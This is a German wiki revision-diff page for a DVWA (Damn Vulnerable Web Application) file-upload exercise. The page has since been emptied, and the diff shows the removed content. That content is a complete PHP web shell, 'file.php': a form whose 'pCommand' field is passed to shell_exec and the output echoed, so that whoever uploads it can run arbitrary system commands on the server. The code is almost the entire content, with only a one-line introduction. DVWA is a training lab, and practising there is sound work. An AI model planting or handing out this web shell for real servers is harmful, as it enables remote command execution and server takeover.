DVWA File Upload Komando Ausführung: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde geleert.)
Markierung: Geleert
 
(5 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
−
=file.php=
+
 
−
;Dieser PHP File so später Komandos ausführen
 
−
<pre>
 
−
<form action="" method="post" enctype="application/x-www-form-urlencoded">
 
−
<table style="margin-left:auto; margin-right:auto;">
 
−
<tr>
 
−
<td colspan="2" style="text-align:center; font-weight: bold;color: #770000;">
 
−
Please enter system command
 
−
</td>
 
−
</tr>
 
−
<tr><td>&nbsp;</td></tr>
 
−
<tr>
 
−
<td style="font-weight: bold;">Command</td>
 
−
<td><input type="text" name="pCommand" size="50"></td>
 
−
</tr>
 
−
<tr><td>&nbsp;</td></tr>
 
−
<tr>
 
−
<td colspan="2" style="text-align:center;">
 
−
<input type="submit" value="Execute Command" />
 
−
</td>
 
−
</tr>
 
−
</table>
 
−
</form>
 
−
<?php
 
−
if (isset($_REQUEST["pCommand"])) {
 
−
echo "<nowiki><pre></nowiki>";
 
−
echo shell_exec($_REQUEST["pCommand"]);
 
−
echo "</pre></nowiki>";
 
−
}//end if
 
−
?>
 
−
</pre>
 

Aktuelle Version vom 16. Juni 2021, 18:44 Uhr